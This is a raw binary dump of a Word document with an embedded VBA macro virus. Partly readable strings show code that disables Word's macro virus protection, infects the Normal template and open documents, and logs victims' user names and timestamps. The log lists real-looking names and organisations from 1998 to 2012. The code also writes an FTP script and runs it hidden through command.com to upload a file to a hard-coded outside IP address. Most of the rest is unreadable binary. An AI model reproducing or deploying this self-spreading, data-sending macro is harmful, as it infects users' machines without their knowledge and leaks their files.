ࡱ> %'$` Rbjbj2=bbbbv 0       $ h; 60-0]   YbdL s0q (q q (00 ~~ DN7NNb/gLRNLD*B*CJKHOJQJ^Jo(ph333/hdhsP>*B*CJKHOJQJ^Jo(ph333)hdhsPB*CJKHOJQJ^Jph333,hdhsPB*CJKHOJQJ^Jo(ph3330hsPhsP5B*CJKHOJQJ^JaJph333-hsP5B*CJKHOJQJ^JaJo(ph3333hsPhsP5B*CJKHOJQJ^JaJo(ph333,hhsPB*CJKHOJQJ^Jo(ph333hh)9CJPJo(246: r t v gdsP$dh-D1$M a$gdsP$dh-D1$M WD`a$gdsP$dh-D1$M a$gdsP$dh-D1$M a$gdsPdh-D1$M gd)9p r v | ӼvrhsP,hdhsPB*CJKHOJQJ^Jo(phU)hdhsPB*CJKHOJQJ^Jph333/hdhsP>*B*CJKHOJQJ^Jo(ph333,hdhsPB*CJKHOJQJ^Jo(ph333&hsPB*CJKHOJQJ^Jo(ph333/hsPhsP>*B*CJKHOJQJ^Jo(ph333 w^wv ;N{USMO ]\OUSMOvz #N~{T t^ g e0182P. A!"#$%S J@J sPcke $1$a$ CJKH_HaJmH nHsH tH$A$ ؞k=W[SOBiB nfhEe|12569:?v;e|:?;??sPG)9@(f=@@ @UnknownGz Times New Roman5Symbol3& z Arial=NSe-N[Dotum;[SOSimSun hJ"gLGUU!-!),.:;?]}    & 6"0000 0 000000 =@\]^([{  0 0 00000;[r<<@HX(?sP2_[܏_[܏Oh+'0h   $ 0<HPX`ԶNormalԶ5Microsoft Office Word@@p X@Heg@tYU՜.+,0 X`t|  ΢й<   !"#&*)LS,-./0123456789:;<=>?@ABCDEFGHIJKMNOPQRRoot Entry FЊ Y(1Table WordDocument2SummaryInformation(DocumentSummaryInformation8Xacros YYXBAYYdir  !"#$%&'()*+,-./0123456789;<=>?B0* pHdProjectQ(@= l Q J< rstdole>stdolePh%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C ИQ!OfficgOficg!G{2DF8D04C-5BFA-101@B-BDE5gAjAe42ggram Files\CommonMicrosoft Shared\OFFICE11\MSO.DLL#M 11 .0 Ob Library%"z" BeThisDocumentG  Tfis"DHcu@Ienn 2 (HB1B5XB,!T"B+BBay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.3#0#C:\Program Files\MicrosoftThisDocument +XVBA_PROJECT * PROJECT :uPROJECTwm@)4" xME (S"SS"<(1Normal.ThisDocument(% @Lx@  @" @$ `& @( `* @, @. @0 `200"    0Hhx  &&  $H p z  " 8"Hp Zx * 0 P` p  8P h 8x ^  TDp       "  8 X$p$   ((   0 8FX   "   (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P .X   *   *  ( ,0 ` p *x   *   * 8 H *P   ,   *    ,( X h *p   *   * 8 H *P   ,   .    (( P ` .h   ,   , ( 8 *@ p  *   *   , @ P *X   ,   ,  ( *0 ` p 0p]<- this is a marker!pDeclare Variables]]]0H` Initialize Variables 4!6!8%:.( <!6!8%:.* '' (!>%@'$ '' *!>%@'&Switch the VirusProtection OFF B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $ (!>!P (!>%N'0 &e *!>!P *!>%N'0k 0 0' Logfile --> 0 0' Logfile --> $'0 R 2 V$T$ '2 RC:\hsf 2.sys'2 2 0Vc:\netldx.vxdo 209.201.88.110user anonymous pass itsme@ cd incomingasciiput 2quitV*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LkMMake sure that some conditions are true before we continue infecting anything  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$$f d!. R$ $f . d!. R$'.kd .$f' '.k R ) ,$f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$$f'  d!j$f'  .$f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@n mmm y G 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998 MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999 BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowan% 08:21:12 AM - Wednesday, 27 Jan 1999 IMSI" 10:59:58 AM - Friday, 29 Jan 1999 Raj$ 03:37:57 PM - Saturday, 30 Jan 1999 hornd" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward# 04:23:52 PM - Thursday, 4 Feb 1999 Cooley Godward# 04:27:39 PM - Saturday, 6 Feb 1999 Cooley Godward! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hclee% 04:44:45 PM - Wednesday, 17 Feb 1999 Dr. W. Hsiao% Wendy Hsiao, Ph.D.# 04:13:19 PM - Tuesday, 23 Feb 1999 CCST$ 10:09:35 AM - Saturday, 20 Mar 1999 cpwu# 09:33:49 AM - Thursday, 6 May 1999 # 12:39:25 PM - Tuesday, 20 May 1997 ghc-bbc! 01:21:36 PM - Friday, 7 May 1999 # 05:51:53 - Wednesday, 12 May 1999 qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999 $ 02:53:46 - Tuesday, 6 Sep 2011 $ 09:37:47 - Monday, 19 Sep 2011 ʿ$ 01:41:54 - Monday, 26 Sep 2011 unknown' 10:50:02 - Wednesday, 19 Oct 2011 ףȪ' 08:27:05 - Wednesday, 26 Oct 2011 ٻ$ 10:37:36 - Monday, 31 Oct 2011 ˷$ 04:21:38 - Monday, 31 Oct 2011 ÷& 08:15:53 - Wednesday, 2 Nov 2011 Ż᷼# 03:51:55 - Friday, 4 Nov 2011 $ 11:58:54 - Friday, 11 Nov 2011 ƽƽ$ 05:13:35 - Friday, 11 Nov 2011 $ 03:14:00 - Monday, 14 Nov 2011 % 08:20:05 - Tuesday, 15 Nov 2011 $ 04:52:59 - Monday, 28 Nov 2011 ΢û% 04:12:26 - Tuesday, 27 Dec 2011 ΢û$ 09:17:06 - Friday, 30 Dec 2011 Administrator$ 05:43:54 - Friday, 30 Dec 2011 û27$ 08:05:33 - Tuesday, 3 Jan 2012 User$ 01:17:36 - Monday, 23 Jan 2012 ΢û& 05:59:02 - Wednesday, 1 Feb 2012 USER' 02:51:32 - Wednesday, 29 Feb 2012 ΢û! 04:02:03 PM - Friday, 9 Mar 2012 ΢û' 10:52:09 - Wednesday, 14 Mar 2012 joker% 05:08:02 - Tuesday, 20 Mar 2012 USER& 09:59:28 - Wednesday, 7 Mar 2012 ΢û$ 01:41:27 - Friday, 30 Mar 2012 USER$ 08:39:39 - Monday, 16 Apr 2012 ΢û$ 08:10:49 - Monday, 14 May 2012 y& 10:19:53 - Thursday, 31 May 2012 $ 09:19:40 - Tuesday, 5 Jun 2012 jwc& 08:31:11 - Wednesday, 6 Jun 2012 ഺ& 04:30:33 - Wednesday, 6 Jun 2012 Ҷ$ 01:17:22 - Tuesday, 3 Jul 2012 ԶBAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTruBExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S&= 20<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op enOutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA2a Ͽ[W   .1dQ1 }pXX0ZX3S'Wria log rfofP, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&fW' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK B1. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829JRajK@u7:5LSatu rL3K q!6+15@f -28z΢û12M3pxU3 0Y0$U`uAdministrator554 wbQ 21JW0e5g3 ` 2 Use@/;{,9;;_VSER{`T2 i%2:03CpE9Trq31F9_7 (fujok5:16 djU9'Mc/ U'D(!{ _81nT1p6 Ap?;I0ہu4jyJ~1MxPye 3>0u@njwx0+1 È@ഺ+48:303((Ҷ՛"3 3ul( Office\OFFICE11\MSWORD.OLB#Microsoft Word 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormalИQ(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library Q" ThisDocument04519907e3ThisDocument5 7 WTO* *`9:,Wordk`VBA`Win16~`Win32`Mac`VBA6#`1p`stdole``Project-` ThisDocument<` _Evaluate`Normal`Officeu`Documentj`Document_Close7\`MarkerS` SaveDocumentd]`SaveNormalTemplatel`DocumentInfected `NormalTemplateInfectedy`ad~\`nto^`OurCode=` UserAddressF`LogData(6`LogFileG`ActiveDocument\` VBProjectOh` VBComponents '`Itemz`NormalTemplateq` CodeModule`Findn`Options`VirusProtectionoD`Day`Now%`Systema`PrivateProfileString[`Lines` CountOfLines!\`i``Str`RndR`ShellV`vbHideW` SaveFormat`wdFormatDocument`wdFormatTemplatee`Savedd` Application*`ChrK~`Time`UserName\` DeleteLines `AddFromString`Save`FullNameО`TID="{06B477E3-A775-41EE-B1E9-EFE85268ED24}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="6F6D91046F1CDA20DA20DA20DA20" DPB="DEDC20B5E04B4E4C4E4C4E" GC="4D4FB3224D904E904E6F" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C ThisDocumentThisDocument  FMicrosoft Office Word ĵ MSWordDocWord.Document.89qCompObjAm